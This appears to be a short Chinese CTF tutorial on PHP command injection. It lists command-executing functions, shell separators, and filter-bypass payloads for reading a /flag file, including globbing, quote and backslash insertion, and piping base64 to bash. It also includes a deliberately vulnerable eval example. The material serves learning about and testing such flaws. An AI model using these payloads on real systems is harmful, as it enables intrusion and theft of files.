下面是 PHP 中一些常见的能够执行系统命令的函数。
popen(string $command, string $mode)
proc_open($command,$descriptor spec,$pipes,$cwd,$env vars,$options)
这些是 PHP 能执行 PHP 代码的函数 exec, assert, call_user_func
。
有回显的函数只要执行就能看到结果,无回显的则需要自己输出。
;
&
&&
||
如果题目中已经指定了执行的命令,则可以用这些分隔符进行分割,之后就可以执行自己想要的命令了。另外,PHP 中也可以用换行符 %0A
来分割。
一般需要的是读取根目录下的 /flag
文件,下面这些命令都可以做到文件的读取。
$HOME变量存储是当前用户的主目录
例如 /home/xxxx
然后用变量截取可以得到/。
cat ${HOME:0:1}flag
可以用 chr 来拼接。
例题
<?php
error_reporting(0);
if(!isset($_GET['code'])){
show_source(__FILE__);
}else{
$str = $_GET['code'];
$blacklist = ['\'', '"'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
扫目录:print_r(scandir(chr(47)));,读取 /flag 文件:file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103));.
比如,禁止命令出现 flag。
cat /f???
cat /fl[a-z]g
cat /f*
a=fl;b=ag;cat /$a$b;
也可以考虑用现有变量的,比如 $PATH
变量。
也可以考虑使用其他命令的执行结果,比如,如果 flag 在根目录下,则 ls /
命令执行结果一定有 flag
,则可以用
a=$(ls /)
在中间插入空的字符串,例如'',"",``,$9
cat /f$9l''a``g
$9也可以替换为其他空变量,$@,$*
可以在命令中插入反斜杠:
cat /f\l\ag
base64编码
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)
`echo Y2F0IC9mbGFn | base64 -d`
xxd –r –p
printf "\x74\x61..."
比如是在 PHP 中 eval 执行代码的话,可以用字符拼接来绕过。